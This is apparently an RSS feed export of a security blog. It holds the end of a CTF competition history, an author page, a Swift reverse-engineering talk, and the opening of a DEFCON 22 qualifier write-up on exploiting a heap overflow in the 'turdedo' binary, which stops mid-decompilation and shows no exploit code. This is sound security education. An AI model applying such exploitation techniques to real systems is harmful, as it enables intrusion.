Toboso</span></span><span class="line"><span class="cl"><span class="o">(</span>A<span class="o">)</span>ttack Giants</span></span><span class="line"><span class="cl"><span class="o">(</span>M<span class="o">)</span>ount Rocinante</span></span><span class="line"><span class="cl"><span class="o">(</span>Q<span class="o">)</span>uit</span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl">>Q</span></span></code></pre></div><p>The &ldquo;(A)ttack Giants&rdquo; option allowed you to send up to 1024 bytes of shellcode that it would execute. The flag was:</p><blockquote><p>There is no book so bad&hellip;that it does not have something good in it.</p><p>However, our adventure still awaits!</p><p>2013.ghostintheshellcode.com/folly-9a062bfbc9c4bd0aaafbc80dbc9facc942319b73<br>
folly.2013.ghostintheshellcode.com:5674</p></blockquote><p>The first flag linked you to the next stage. It was a &ldquo;the princess is in another castle&rdquo; challenge. The challenge was 7 stages in total with each being a different architecture: x86, ARM, MIPS, PPC, 68k, ALPHA, and HPPA. Since I&rsquo;m a miserable bastard I put them all on consecutive ports and added a few repeats at the end so if you scanned them you&rsquo;d think there were 20 stages.</p><h2 id="year-five">Year Five</h2><p><img src="/content/images/2022/05/teaser2014.webp" alt=""/><p>For 2014 we updated the teaser to be a little slicker and made it Grand Theft Auto 5 themed. By 2014 there were a bunch of other CTFs and we were starting to riff on each other&rsquo;s challenges. That year it was hip to make QR code challenges. Codegate did a bunch and<a href="https://plaidctf.com/">PlaidCTF</a> even more in response – in hopes that it would kill QR codes as a challenge. It backfired because we ended up doing our own QR code challenge and naming it after them: Plaid Parliament of Codegate.</p><p>I haven&rsquo;t mentioned him yet, but<a href="https://twitter.com/eipwned">Rusty</a> was a part of Ghost in the Shellcode from the beginning, always producing really solid challenges. Rusty is an annoyingly talented person – he&rsquo;s seemingly good at everything. At the time, Rusty would spend 8 hours at work implementing (still) cutting-edge emulators for software analysis and then go home and spend 8 more hours working on his video game. In 2014, he built Choose your Pwn Adventure 2, a fully hackable 3D FPS.</p><h3 id="choose-your-pwn-adventure-2">Choose your Pwn Adventure 2</h3><p>Pwn Adventure 2 was a 3D FPS built on the Unity engine. It was filled with challenges that were impossible if you played the game straight-up. You had to find and exploit vulnerabilities in the game to complete the challenges. Challenges required you to figure out infinite health hacks, how to fly, speed hacks, and more.</p><p><img src="/content/images/2022/05/bear_wine.webp" alt="">Unbearable: Open the chest before the bears kill you. Also, in the last few minutes, they have had assault rifles.</p><p>The Unity engine is written in C#, so you could solve these challenges by decompiling it and patching it. You could also solve it purely with network attacks. For each of the challenges, the server trusted the client a little too much and you had to figure out what you could manipulate to unlock the required superpowers.</p><p><img src="/content/images/2022/05/board2014.webp" alt="">Doge was in vogue then</p><p>The scoreboard was updated to remove any form of challenge unlocking controls. Half the game board was available only in the context of Pwn Adventure 2, but we had plenty of other challenges.</p><p>One notable challenge from that year was ByteSexual. Somehow, we discovered that on Linux you can<a href="https://stackoverflow.com/q/18272384">far call with</a><code>[0x23](&lt;https://stackoverflow.com/q/18272384>)</code><a href="https://stackoverflow.com/q/18272384"> as your</a><code>[CS](&lt;https://stackoverflow.com/q/18272384>)</code><a href="https://stackoverflow.com/q/18272384"> segment selector</a> value to switch between 32bit and 64bit execution modes. We used this trick to constantly switch between the two execution modes and abusing how the differing instruction decoders to confuse IDA and GDB&rsquo;s disassemblers.</p><p>We also updated our shellcode.tv setup to have a slick GitS-themed test card.</p><p><img src="/content/images/2022/05/shellcodetv-banner-small-1.webp" alt="">Frequency in Megacycles</p><h2 id="year-six">Year Six</h2><p>Our sixth year was our biggest year. Rusty had spent much of the previous year working on<a href="http://pwnadventure.com/">Choose your Pwn Adventure 3</a>, a completely new iteration of the game. This time it was written in C++ and used the Unreal engine.</p><p><img src="/content/images/2022/05/pa3.webp" alt="">PA3: Pwnie Island</p><p>Pwn Adventure 3 was a much larger part of the game that year. The bears were back too.</p><p>I mentioned previously that we started to make challenges that riffed on the challenges of other competitions – normally PlaidCTF. Plaid had a series of great challenges called &ldquo;ECE&rsquo;s Revenge&rdquo;, where they would force us to decode some discrete logic circuit to get the flag. For PA3, we had our own version of that called &ldquo;Blocky&rsquo;s Revenge&rdquo;. In Blocky&rsquo;s Revenge, you had to decode a Minecraft-esc discrete logic circuit to get the flag. LiveOverflow did a video on analyzing it, jump to<a href="https://youtu.be/PQPO5Z4lVTU?t=66">66 seconds</a> to see the circuit.</p><p>LiveOverflow: Analyzing the Blocky Logic Puzzle</p><p>I actually don&rsquo;t remember much about the competition that year. It was really the PA3 show. I was more interested in distracting the competitors who were in the room – I remember playing full episodes of Archer on the projector which would totally DoS half the teams.</p><h2 id="year-seven-postponed-since-2015">Year Seven (Postponed since 2015)</h2><p>Ghost in the Shellcode never made it to its 7th year. We had intended to continue hosting it but by December 2015 it was pretty clear that we had lost all momentum and we decided to postpone the competition. You can still see the postponement message on<a href="http://ghostintheshellcode.com/">the website</a>. There wasn&rsquo;t a single reason why we called it quits, life just moved on. Jay and I had both moved to NYC and it felt kinda odd running a competition associated so strongly with our former employer. Jordan,<a href="https://twitter.com/PeterLaFosse">Peter</a>, and Rusty left to found<a href="https://vector35.com/">Vector35</a> and work on<a href="https://binary.ninja/">Binary Ninja</a>. I should say, most of us wanted to keep hosting it but we weren&rsquo;t putting in the effort and it would not have been able to maintain the quality we had held ourselves prior.</p><p>When I talk about Ghost in the Shellcode these days, I sound like a horrible old man. When we started, CTF was still in its infancy. When we started, the<code>flag</code> files were actually called<code>key</code>, because keys were the secrets we wanted to steal. We also didn&rsquo;t have a standard flag format until much later, it was even slightly controversial internally to suggest we use one.</p><p>The biggest change has been CTFs gaining respect. When we started, all the old-school hackers looked down on CTFs as not being real or just being toys. Now, those old-school hackers are still around and grumpy but most of them have begrudgingly admitted that CTFs are a good thing for our industry and develop very real skills.</p><p>The CTF industry has evolved a lot in the 12 years since we started Ghost in the Shellcode. I wonder where it goes next.</p></description></item><item><title>About this site</title><link>https://www.notcheckmark.com/about/</link><pubDate>Fri, 06 May 2022 22:52:56 +0000</pubDate><guid>https://www.notcheckmark.com/about/</guid><description><p>Notcheckmark is a blog about cybersecurity, business, and other topics.</p><h3 id="why-notcheckmark">Why notcheckmark?</h3><p>It&rsquo;s named after a Unicode character I liked. I thought it&rsquo;d be a good name for a blog after reading about<a href="https://ionathan.ch/2022/04/09/angzarr.html">⍼</a>. It can be found directly to the left in<a href="https://en.wikipedia.org/wiki/Miscellaneous_Technical#Block">this table</a> on Wikipedia.</p><p><img src="/content/images/2022/05/notcheckmark-table.png" alt="">NOT CHECKMARK</p><h3 id="author">Author</h3><p>I&rsquo;m Ryan Stortz, a cybersecurity expert who largely focuses on offensive cybersecurity, reverse engineering, and program analysis tooling.</p><p>I create endpoint security tools at<a href="https://www.aquilon.dev">Aquilon Security</a>.</p><p>I also host a NYC-area technical meetup called<a href="https://sprawl.nyc">sprawl.nyc</a>.</p><p>Follow me on<a href="https://twitter.com/withzombies">Twitter</a>.</p></description></item><item><title>Swift Reversing</title><link>https://www.notcheckmark.com/2016/07/swift-reversing/</link><pubDate>Thu, 14 Jul 2016 04:00:00 +0000</pubDate><guid>https://www.notcheckmark.com/2016/07/swift-reversing/</guid><enclosure url="https://www.notcheckmark.com/content/images/size/w1600/2022/05/Slide01.webp" type="image/webp" length="0"/><description><p><img src="/content/images/2022/05/Slide01.webp" alt="">Swift Reversing</p><p>Hi, I&rsquo;m Ryan Stortz and this is Swift Reversing. This is about the Apple programming language, not the inter-banking network. I&rsquo;d probably have a solid gold laptop if I knew anything about Swift internals.</p><p><img src="/content/images/2022/05/Slide02.webp" alt=""/><p>This talk is broken into 3 parts: an introduction to Swift, a discussion on my methodology, and the actual results from my research.</p><p><img src="/content/images/2022/05/Slide03.webp" alt=""/><p>Swift is Apple&rsquo;s sexy new language for the future. Just like everything Apple does, it was more ceremony than substance for the first version release. iPad v1, iPhone v1, and Apple Watch customers will understand. More interestingly, Swift is meant to take over for Objective C and we can get behind that.</p><p>Swift was open-sourced back in December. It&rsquo;s technically available on Linux as well as on os x, but so was objc – so we&rsquo;ll see how that goes. A few months ago, MacRumors said Google is considering adopting Swift for android. With this and Ubuntu on Windows, we have some exciting times coming.</p><p><img src="/content/images/2022/05/Slide04.webp" alt=""/><p>Swift is pretty expressive, you can commit atrocities like this one: Noak&rsquo;s Ark. As you can see, we have the world and all the animals in the world. Then we allocate the ark as an array of strings. Then we iterate over each animal and 💕+💕 and two by two, we fill the ark.</p><p>Swift is meant to be a systems programming language or close to it. It&rsquo;s not interpreted or JITed like Python and Java (respectively). Meaning all of these emojis will be compiled into machine code.</p><p><img src="/content/images/2022/05/Slide05.webp" alt=""/><p>Swift is a &ldquo;modern language&rdquo;. I&rsquo;m not really sure, but I think that means it was designed after Mudge invented the buffer overflow.</p><p>It has all the features you&rsquo;d expect: closures, first-class functions, generics, etc. As a reverse engineer, more closures and generics could be problematic. These structs-that-are-really-classes might make certain cases easier to reverse. Swift also makes heavy use of optionals, which will likely add a ton of noise to the disassembly.</p><p><img src="/content/images/2022/05/Slide06.webp" alt=""/><p>I&rsquo;m going to take a small segue here and talk about the Swift compiler architecture. As I think it&rsquo;s important to understand to fully grasp Swift reverse engineering. These next few slides borrow heavily from Lattner&rsquo;s LLVM Dev Mtg presentation on SIL</p><p>Both clang and Swift (and rust and a million other compilers) are built on top of LLVM. Clang has a pretty minor set of C or C++-specific optimizations. Very little code is re-written due to language-level features or language usage. That being said, the resulting machine code is still fairly well optimized. Most of us can tell if the code was -O0 or -O3. This is neat as the vast majority of the optimization happens in LLVM-land, and languages like Swift and Rust benefit.</p><p>However, Swift was designed by the same people who designed clang and llvm and they learned from their mistakes. Swift introduces another intermediate language and does analysis and optimization. So where most of Clang&rsquo;s optimizations take place in a single location, Swift can optimize in several. In fact, Swift has a set of guaranteed optimizations that can&rsquo;t be disabled.</p><p><img src="/content/images/2022/05/Slide07.webp" alt=""/><p>For a visual representation, let&rsquo;s take a little journey. We start at the parser and lexer and Swift and the Noah&rsquo;s ark example.</p><p><img src="/content/images/2022/05/Slide08.webp" alt=""/><p>Next is the Swift code represented as an Abstract Syntax Tree.</p><p><img src="/content/images/2022/05/Slide09.webp" alt=""/><p>SILGen generates SIL, which is Swift&rsquo;s IL. Swift does its language-specific analysis on SIL, a new intermediate layer that&rsquo;s bolted on top of LLVM, but with a full awareness of Swift&rsquo;s type system. If you&rsquo;re familiar with LLVM or really any other SSA IR, you&rsquo;ll notice that this one is at a higher abstraction layer. This allows Swift to heavily optimize in a safe manner, and I&rsquo;ll get to an example in a moment.</p><p><img src="/content/images/2022/05/Slide10.webp" alt=""/><p>Next up is LLVM IR.</p><p><img src="/content/images/2022/05/Slide11.webp" alt=""/><p>And finally, the llvm IR is compiled to a specific target. x86_64 in this case. My apologies for the AT&amp;T syntax.</p><p><img src="/content/images/2022/05/Slide12.webp" alt=""/><p>One last thing about SIL. Since Swift has many many ways to create closures, SIL has the<code>alloc_box</code> optimization which causes me a lot of heartache as a reverse engineer. By default, all variables and closures are allocated on the heap and then SIL&rsquo;s guaranteed optimizations do an escape analysis pass to determine if the variable or closure escapes its local scope. If it doesn&rsquo;t, it brings it onto the stack. This means there are 2-3 different representations for each variable and closure type.</p><p><img src="/content/images/2022/05/Slide13.webp" alt=""/><p>So enough about the compiler, let&rsquo;s figure out how to turn the code on the left into the code on the right.</p><p><img src="/content/images/2022/05/Slide14.webp" alt=""/><p>On to methodology. I promised &ldquo;a systematic approach&rdquo; in my talk abstract, but it&rsquo;s more a list of things I was confused about going in.</p><p><img src="/content/images/2022/05/Slide15.webp" alt=""/><p>I could probably spend months or years poking at the compiler and its output, trying to get a full grasp on the language, but nobody has time for that. So it&rsquo;s important to bookend the research. The research needs to be driven by the work. What&rsquo;s the motivation for tackling a new language?</p><p>I often start reversing projects with one of these first two in mind but frequently find myself just building character instead. This talk focuses on application pentesting with a little bit of character building.</p><p><img src="/content/images/2022/05/Slide16-1.webp" alt=""/><p>My initial questions focused on three areas: the toolchain, the language core, and the ABI. What tools are available to me now? Is the language message-based like Objective-C? What&rsquo;s the Swift calling convention?</p><p>In general, you&rsquo;d also ask some basic questions about the standard library but Swift&rsquo;s overlapped with Objective-C so much that I wasn&rsquo;t worried</p><p><img src="/content/images/2022/05/Slide17-1.webp" alt=""/><p>For each question I had, I created one or more small projects that focused on using the one individual feature behind each question. I then compiled the project and threw it into everyone&rsquo;s favorite disassembler.</p><p><img src="/content/images/2022/05/Slide18-1.webp" alt=""/><p>This one is a for class inheritance and it also uses optional unpacking/matching. We have our base class &ldquo;Vehicle&rdquo;. Bicycle derives from it and Tandom derived from Bicycle.</p><p><img src="/content/images/2022/05/Slide19-1.webp" alt=""/><p>This one has an example closure. It actually has two, and several bugs.</p><p><img src="/content/images/2022/05/Slide20-1.webp" alt=""/><p>Starting with the easiest section: The currently available tools and the Swift toolchain.</p><p><img src="/content/images/2022/05/Slide21-1.webp" alt=""/><p>I started by Googling for Swift reversing. The first 9 results were about reversing a string or an array in Swift. The 10th result was how Taylor Swift reversed female opinions of her. So I knew my options were limited.</p><p><img src="/content/images/2022/05/Slide22.webp" alt=""/><p>There isn&rsquo;t much here, but the Swift compiler provides some nice diagnostics and you can dump the SIL and LLVM IR for a better understanding. But this doesn&rsquo;t directly help you reverse engineer binary Swift executables.</p><p>We also have the Swift REPL and Swift-demangle.</p><p><img src="/content/images/2022/05/Slide23.webp" alt=""/><p>The Swift REPL is kind of fun, you can directly invoke lldb commands by prepending them with a colon. Useful for development but not so much for RE.</p><p>In my example, I force unpack an optional integer with a nil value. The REPL captures the crash and we can introspect it with lldb.</p><p><img src="/content/images/2022/05/Slide24.webp" alt=""/><p>The most useful tool in the official toolchain is definitely Swift-demangle. It&rsquo;s not really much different than c++filt, except the demangled names are more expressive. Notice in this second example, it has this<code>Arg[1] = Dead line</code>. This encodes the ownership of the argument into the mangled name.</p><p><img src="/content/images/2022/05/Slide25.webp" alt=""/><p>It also has an expanded view that prints the entire parse tree of the mangled name. This could be very useful for tools.</p><p><img src="/content/images/2022/05/Slide26.webp" alt=""/><p>So for existing tools, we only have Swift-demangle. Class-dump, the Objective-C tool, actually parses a surprising amount of Swift classes, but it gets confused. It shouldn&rsquo;t be too hard to update it to support Swift.</p><p><img src="/content/images/2022/05/Slide27.webp" alt=""/><p>Now on to the Language core.</p><p><img src="/content/images/2022/05/Slide28.webp" alt=""/><p>There are a billion things I could put here. I decided to focus on the Native types, Control Flow, and Optionals. I&rsquo;ve listed the native types, most of these decay into<code>Swift.Builtin</code> types and then decay into LLVM native types. On the right here you can see strings decay into ASCII c strings. I was somewhat surprised that it was an ASCII string and not a wide-character Unicode string. It&rsquo;s probably actually UTF-8.</p><p>For each language feature listed, I wrote one or two tiny test case projects that used only that feature. Then compiled that with and without optimization to better understand it.</p><p><img src="/content/images/2022/05/Slide29.webp" alt=""/><p>Control flow is designed as any sane person would. Most calls are devirtualized and directly call the function with very little overhead. The only time you see ObjC messages is when you&rsquo;re doing a bridged call into ObjC code.</p><p>If this were Haskell or Haskell-like, you&rsquo;d see the creation of thunks and thunk chains. So it isn&rsquo;t lazy. This is fortunate for us, as reversing Haskell is a ring of hell that Dante neglected to describe.</p><p><img src="/content/images/2022/05/Slide30.webp" alt=""/><p>Optionals were of particular interest to me. They&rsquo;re going to be used a lot, as their use avoids a lot of really awful design paradigms (for the lack of a better word). Optionals are a safe way to encode an error condition and a value in the same &ldquo;package&rdquo; and enforce its proper checking.</p><p><img src="/content/images/2022/05/Slide31.webp" alt=""/><p>Optionals are actually pretty thin. I don&rsquo;t know why, but I expected them to be big and bloated. The optional flag is stored as a 1 byte boolean. Up top we have the value<code>.Some(2)</code> and the value<code>.None</code> The Hex-Rays insert shows optional unwrapping. In this case,<code>v51</code> is the optional flag.<code>v52</code> is the pointer value that&rsquo;s getting retained.</p><p>Optional unpacking ends up being represented as a bitwise and of 1. It also happens to be the only time this is done. So optionals fall out easily.</p><p><img src="/content/images/2022/05/Slide32.webp" alt=""/><p>The compiler actually verifies that you properly unpack optionals. If you try to force unpack them, you hit an illegal instruction (represented as a ud2 on x86 and BUG() in HexRays).</p><p><img src="/content/images/2022/05/Slide33.webp" alt=""/><p>As you&rsquo;d expect from a higher-level language, you don&rsquo;t handle raw memory operations yourself. It turns out the way Swift handles this isn&rsquo;t much different than C++. There are minor differences related to accessing the type and passing that to<code>Swift_allocateObject</code>. In most (or maybe all) cases, you&rsquo;ll use the<code>allocating_init</code> form of the call which will handle everything.</p><p>In this example, we&rsquo;re allocating the<code>Train</code> class. Its size is 24 bytes, its alignment mask is 7 (aka 8 byte boundaries). It then passes the allocated memory to the train constructor. Interesting though, is<code>v1</code>: Swift&rsquo;s allocator cares about the type.</p><p><img src="/content/images/2022/05/Slide34.webp" alt=""/><p>When looking into allocations, I discovered this fun comment in the declaration of<code>Swift_allocObject</code>. I thought it was interesting that it&rsquo;s &ldquo;sometime after&rdquo;. I thought maybe there would be a potential race condition in the future.</p><p>In the end, it&rsquo;s really backed by the default &ldquo;slow malloc&rdquo;, but it definitely piqued my interest originally and I&rsquo;m waiting for them to &ldquo;optimize&rdquo; it and remove their todos.</p><p><img src="/content/images/2022/05/Slide35.webp" alt=""/><p>The train&rsquo;s &ldquo;non-allocating&rdquo; init, calls its parent classes&rsquo; non-allocating init as well. It assigns its parent pointer. In C++, this function would be responsible for assigning the class&rsquo;s vtable. In our case, that&rsquo;s handled by<code>Swift_allocObject</code>.</p><p><img src="/content/images/2022/05/Slide36.webp" alt=""/><p>Revisiting our questions, compiled Swift ends up looking a lot like C++. It&rsquo;s not lazy. It has all the expected native types.</p><p><img src="/content/images/2022/05/Slide37-1.webp" alt=""/><p>The final area I researched was the Swift ABI.</p><p><img src="/content/images/2022/05/Slide38.webp" alt=""/><p>Here I wanted to know how virtual function calls were made, ownership rules, and the calling convention</p><p><img src="/content/images/2022/05/Slide39.webp" alt=""/><p>Bridging is quite difficult to do on the command line, but I did eventually get an example (and maybe I cheated with Xcode). Here I create an ObjC class that implements one method and I call it from Swift. Notice the compiler injected an<code>objc_msgSend</code> here, but actually allocated it with a Swift function. A funny mixing and matching.</p><p>Swift also has to decide if the returned object is managed by the Swift runtime or the ObjC runtime. It does that by checking to see if the object pointer has been tagged.</p><p><img src="/content/images/2022/05/Slide40.webp" alt=""/><p>For reference, here&rsquo;s the Objective C class implementation. It&rsquo;s trivial.</p><p><img src="/content/images/2022/05/Slide41.webp" alt=""/><p>For virtual function calls, they&rsquo;re implemented basically identically to C++. Your instantiated class has a pointer to a table. In that table are a bunch of function pointers. You index into that and call the methods. The HexRays code above corresponds directly with the original source code.</p><p><img src="/content/images/2022/05/Slide42.webp" alt=""/><p>Object ownership rules are pretty well defined in Swift, which is one reason why it&rsquo;s so safe. Everything in Swift is reference-counted with ARC. Well, that&rsquo;s not true, native types aren&rsquo;t reference counted, because that&rsquo;d be slow and awful like java. Also, stack objects that don&rsquo;t escape aren&rsquo;t reference counted, but other than that, they&rsquo;re all automatically ref counted. This is possible because almost everything is derived from the<code>HeapObject</code> type, which includes a ref count, a data pointer, a type field, and some inline storage for smaller objects.</p><p>All this works because, as I pointed out early, functions advertise their ownership rules in their type signatures. Arguments can be: dead, guaranteed, exploded, guaranteed and exploded.</p><p><img src="/content/images/2022/05/Slide43.webp" alt=""/><p>Swift generally follows a &ldquo;whatever works best&rdquo; calling convention, which is the most frustrating part of reversing it. HexRays doesn&rsquo;t understand it yet, so variables appear out of nowhere and are read from, but on closure introspection are actually return values from a preceding call. It makes sense, if your normal<code>stdcall</code> registers are alive but with values not involved in the call, but you have other registers that are dead, why not use the dead registers? or why not reorder the alive registers based on the call. Some compilers will do this when using LTO, as long as your function visibility is set properly. I&rsquo;m sure many of you have encountered it there.</p><p><img src="/content/images/2022/05/Slide44.webp" alt=""/><p>When searching for a solution to my problem, I discovered IDA&rsquo;s &ldquo;Scattered Argument Syntax&rdquo;. Using this syntax, I was able to represent much of Swift&rsquo;s calls.</p><p><img src="/content/images/2022/05/Slide45.webp" alt=""/><p>Either of these two types works properly in IDA and HexRays. Aren&rsquo;t they ugly? Also, this doesn’t scale to 4 register arguments yet.</p><p><img src="/content/images/2022/05/Slide46.webp" alt=""/><p>Let&rsquo;s revisit our initial questions for the ABI. We now know that Swift bridges into ObjC seamlessly, virtual calls are nearly identical to C++, and<code>__swiftcall</code> is basically YOLO. I didn&rsquo;t mention it, but Swift classes are laid out in memory identically to ObjC classes &ndash; in fact, the Swift implementation imposes additional restrictions on ObjC and ends up being the best documentation for the ObjC ABI.</p><p><img src="/content/images/2022/05/Slide47.webp" alt=""/><p>Let&rsquo;s get to the tools.</p><p><img src="/content/images/2022/05/Slide48.webp" alt=""/><p>To facilitate swift reversing, I have been working on a plugin you drop into your IDA plugins folder. I call it<a href="http://swift.py/">swift.py</a>. I begrudgingly wrote it in python because it&rsquo;s too damn hard to write and support IDA plugins on OS X, but I generally stick to the C++ API.</p><p><a href="http://swift.py/">Swift.py</a> registers a callback to dynamically re-write all Swift mangled names into their demangled representation. It also annotates the IDA disassembly with the demangled names. It also does a small bit of class body recovery with member types.</p><p>I have a demo prepared for you all.</p><p><img src="/content/images/2022/05/Slide49.webp" alt=""/><p>That&rsquo;s my talk. I&rsquo;m Ryan Stortz, I&rsquo;m on Twitter at<a href="https://twitter.com/withzombies">@withzombies</a>. Thank you. Questions?</p><p>This talk was originally presented in 2016 at Infiltrate in Miami Beach, FL, and ShakaCon in Honolulu, HI.</p></description></item><item><title>DEFCON 22 Qualifiers: Turdedo</title><link>https://www.notcheckmark.com/2014/05/defcon-22-qualifiers-turdedo/</link><pubDate>Wed, 21 May 2014 04:00:00 +0000</pubDate><guid>https://www.notcheckmark.com/2014/05/defcon-22-qualifiers-turdedo/</guid><enclosure url="https://www.notcheckmark.com/content/images/2022/05/heap5-1.webp" type="image/webp" length="0"/><description><p>TL;DR I thought the format string filtering was a red herring and exploited an ip6 fragmentation heap overflow.</p><p>So, DEFCON CTF 22 Quals happened this past weekend. My team didn&rsquo;t do all that great (27th overall), but I wrote some neat exploits. One of those is my exploit (written along with another team mate, okami41) for turdedo (selir 3). Turns out, our exploit was for an unintentional vulnerability. There generally aren&rsquo;t many write ups for doing it the wrong way, so I wrote this.</p><h2 id="turdedo-overview">Turdedo Overview</h2><p>Turdedo was a 3 point challenge in the selir category. Knowing selir (we were teammates on the DC CTF 17 winning team), I expected it to be an epic network-related challenge &ndash; he&rsquo;s a baller network security engineer. I also noticed that turdedo was likely going to be a<a href="http://en.wikipedia.org/wiki/Teredo_tunneling">Teredo tunnel</a> service. Teredo tunnels provide IPv6 networking over IPv4.</p><p>The challenge description gave a server, a port, and a download link:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">turdedo</span></span><span class="line"><span class="cl">What a crappy protocol</span></span><span class="line"><span class="cl">turdedo_5f55104b1d60779dbe8dcf5df2b186ad.2014.shallweplayaga.me:3544</span></span><span class="line"><span class="cl">http://services.2014.shallweplayaga.me/turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span></code></pre></div><p>The turdedo binary is a 32bit x86 Linux ELF:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ file turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span><span class="line"><span class="cl">turdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version<span class="m">1</span><span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked<span class="o">(</span>uses shared libs<span class="o">)</span>,<span class="k">for</span> GNU/Linux 2.6.24, stripped</span></span></code></pre></div><p>The file also had stack canaries and NX, but was lacking any randomization:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ ~/checksec.sh --file turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span><span class="line"><span class="cl">RELRO STACK CANARY NX PIE RPATH RUNPATH FILE</span></span><span class="line"><span class="cl">Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span></code></pre></div><p>Running the service shows it opens up UDP port 3544. (Reversing showed it needed to be run as<code>root</code> so it could drop privs to the<code>turdedo</code> user before it could be run)</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ sudo netstat -anp<span class="p">|</span> grep turd</span></span><span class="line"><span class="cl">udp<span class="m">0</span><span class="m">0</span> 0.0.0.0:3544 0.0.0.0:* 43351/turdedo_with_debug</span></span></code></pre></div><h1 id="reverse-engineering">Reverse Engineering</h1><p>Side-Note: This challenge is fairly RE-heavy. I&rsquo;ve provided a IDC database dump of my IDA database and the full HexRays output. It is checked in alongside this write up.</p><p>Let&rsquo;s start by loading the binary into IDA (and HexRays). The first function is pretty ugly, but we can already see that it&rsquo;s going to be a fun one. As shown below, there&rsquo;s a debug print that prints an IPv6 address:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">size_t</span><span class="kr">__cdecl</span><span class="nf">sub_804C00F</span><span class="p">(</span><span class="kt">int</span><span class="n">a1</span><span class="p">,</span><span class="kt">int</span><span class="n">a2</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="kt">size_t</span><span class="n">result</span><span class="p">;</span><span class="c1">// eax@8</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v3</span><span class="p">;</span><span class="c1">// edx@10</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="n">v4</span><span class="p">;</span><span class="c1">// [sp+66Ch] [bp-10h]@1</span></span></span><span class="line"><span class="cl"><span class="c1"/></span></span><span class="line"><span class="cl"><span class="n">v4</span><span class="o">=</span><span class="o">*</span><span class="nf">MK_FP</span><span class="p">(</span><span class="n">__GS__</span><span class="p">,</span><span class="mi">20</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">dword_804E170</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">dword_804E160</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">fd</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">word_804E168</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">dword_804E16C</span><span class="o">=</span><span class="nf">time</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">dword_804E164</span><span class="o">=</span><span class="nf">time</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">srand</span><span class="p">(</span><span class="mi">1u</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">signal</span><span class="p">(</span><span class="mi">17</span><span class="p">,</span><span class="p">(</span><span class="n">__sighandler_t</span><span class="p">)</span><span class="mi">1</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">signal</span><span class="p">(</span><span class="mi">13</span><span class="p">,</span><span class="p">(</span><span class="n">__sighandler_t</span><span class="p">)</span><span class="mi">1</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">a1</span><span class="o">==</span><span class="mi">2</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="nf">sub_8049209</span><span class="p">(</span><span class="s">"eth0"</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span><span class="o">*</span><span class="p">)(</span><span class="n">a2</span><span class="o">+</span><span class="mi">4</span><span class="p">));</span></span></span><span class="line"><span class="cl"><span class="k">else</span></span></span><span class="line"><span class="cl"><span class="nf">sub_8049209</span><span class="p">(</span><span class="s">"eth0"</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">dword_804E158</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="nf">fprintf</span><span class="p">(</span></span></span><span class="line"><span class="cl"><span class="n">stderr</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="s">"My addr: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">unsigned</span><span class="kr">__int8</span><span class="p">)</span><span class="n">dword_804E174</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE1</span><span class="p">(</span><span class="n">dword_804E174</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE2</span><span class="p">(</span><span class="n">dword_804E174</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE3</span><span class="p">(</span><span class="n">dword_804E174</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">unsigned</span><span class="kr">__int8</span><span class="p">)</span><span class="n">dword_804E178</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE1</span><span class="p">(</span><span class="n">dword_804E178</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE2</span><span class="p">(</span><span class="n">dword_804E178</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="nf">BYTE3</span><span class="p">(</span><span class="n">dword_804E178</span><span class="p">),</span></span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kt">unsigned</span><span class="kr">__int8</span><span class="p">)</span><span class="n">dword_804E17C</span><span class="p">,</span></span></span><span 